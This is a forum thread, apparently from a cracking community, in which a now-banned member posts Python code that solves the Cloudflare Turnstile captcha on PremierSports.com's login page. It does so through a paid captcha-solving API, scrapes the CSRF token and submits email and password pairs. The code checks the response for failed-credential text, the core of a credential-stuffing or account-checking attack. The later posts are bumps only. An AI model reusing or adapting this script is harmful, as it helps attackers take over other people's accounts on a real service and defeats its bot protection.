Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!



   716

CloudFlare turnstile resolved, PremierSports.com login source code.

by sysdemo - 29 August, 2024 - 10:53 AM
This post is by a banned member (sysdemo) - Unhide
sysdemo  
Registered
113
Posts
29
Threads
2 Years of service
#1
The login of https://www.premiersports.com/us/login switched from recaptcha to CloudFlare turnstile, but it is also simple, and it is easy to solve it.

However, it should be noted that: Keep the website and IP in the same region, otherwise the address will be adjusted to the region and you will not be able to log in successfully.

The following is the python code, modify your clearcaptcha token to see the effect.
 
Code:
 
import requests
import json
import re
import sys

# captcha api config on https://www.clearcaptcha.com 
clearcaptcha_api="http://api.clearcaptcha.com/captcha/cloudflare_turnstile";
#change your token
token = 'test' 
#Keep the website and IP in the same region, otherwise the address will be adjusted to the region and you will not be able to log in successfully.
url = "https://www.premiersports.com/us/login" 
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
chlApiSitekey = "0x4AAAAAAAhLu-06g4o3tB7m"

session=requests.session()

post_data = {
    "token": token,
    "url": url,
    "chlApiSitekey": chlApiSitekey,
}
post_data=json.dumps(post_data)

response = requests.post(clearcaptcha_api, data=post_data)
if response.status_code == 200:
    response_data = response.json()
    print(response_data)
else:
    print({
        "error": "api error",
        "status_code": response.status_code,
        "response": response.text
    })
    

cf_turnstile_token=response_data.get("data", {}).get("cf_turnstile_token", {})

headers={
        "Content-Type":"application/x-www-form-urlencoded",
        "User-Agent": user_agent,
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br, zstd",
        "Referer": "https://www.premiersports.com/us/login",
        "Origin": "https://www.premiersports.com/us/login",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Connection": "keep-alive",
        "Priority": "u=1"
    }

response = session.get(url,headers=headers,verify=False)
responseText=response.text
match= re.search(r'<meta\s+name="csrf-token"\s+content="([^"]+)"', responseText)
if match:
    csrf_token = match.group(1)
    print(csrf_token)
else:
    print(f" not found csrf-token")
    sys.exit(1) 
    
post_data =  {
    "email": "test@gmail.com",
    "password": "test123456",
    "remember":"on",
    "_token":csrf_token,
    "cf-turnstile-response":cf_turnstile_token,
    "g-recaptcha-response":cf_turnstile_token,
}

response = session.post(url, data=post_data,headers=headers,verify=False)
responseText=response.text
if "These credentials do not match our records" in responseText:
    #Continue with the following operation 
    print("These credentials do not match our records.");
else:
    response_data={
        "error": "api error",
        "status_code": response.status_code,
        "response": ""
    }
    
This post is by a banned member (sysdemo) - Unhide
sysdemo  
Registered
113
Posts
29
Threads
2 Years of service
Bumped #2
This is a bump
This post is by a banned member (sysdemo) - Unhide
sysdemo  
Registered
113
Posts
29
Threads
2 Years of service
Bumped #3
This is a bump
This post is by a banned member (sysdemo) - Unhide
sysdemo  
Registered
113
Posts
29
Threads
2 Years of service
Bumped #4
This is a bump
This post is by a banned member (sysdemo) - Unhide
sysdemo  
Registered
113
Posts
29
Threads
2 Years of service
Bumped #5
This is a bump
This post is by a banned member (sysdemo) - Unhide
sysdemo  
Registered
113
Posts
29
Threads
2 Years of service
Bumped #6
This is a bump

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 1 Guest(s)